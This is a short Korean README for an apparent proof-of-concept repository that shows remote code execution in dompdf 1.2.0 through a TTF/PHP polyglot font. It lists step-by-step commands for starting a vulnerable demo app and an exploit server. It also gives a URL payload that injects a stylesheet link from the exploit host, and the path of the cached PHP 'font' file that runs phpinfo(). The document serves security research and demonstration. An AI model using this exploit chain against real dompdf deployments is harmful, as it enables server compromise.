dompdf용 RCE 익스플로잇

이 저장소는 dompdf 1.2.0을 사용하는 취약한 데모 애플리케이션과 ttf+php 폴리글롯 파일을 통한 원격 코드 실행을 달성하는 익스플로잇을 포함하고 있습니다.

자세한 내용은 https://positive.security/blog/dompdf-rce를 방문하세요.

지침

1. 데모 애플리케이션 실행

$ cd application
$ php -S localhost:9000

2. 익스플로잇 서버 실행

$ cd exploit
$ php -S localhost:9001

3. 익스플로잇 트리거

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. 캐시된 PHP "font" 파일에 접근하여 phpinfo() 실행

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

참고: 다른 도메인이나 포트를 사용하는 경우 exploit/exploit.css를 그에 맞게 수정하고 전체 폰트 파일 이름은 application/dompdf/lib/fonts에서 확인하세요.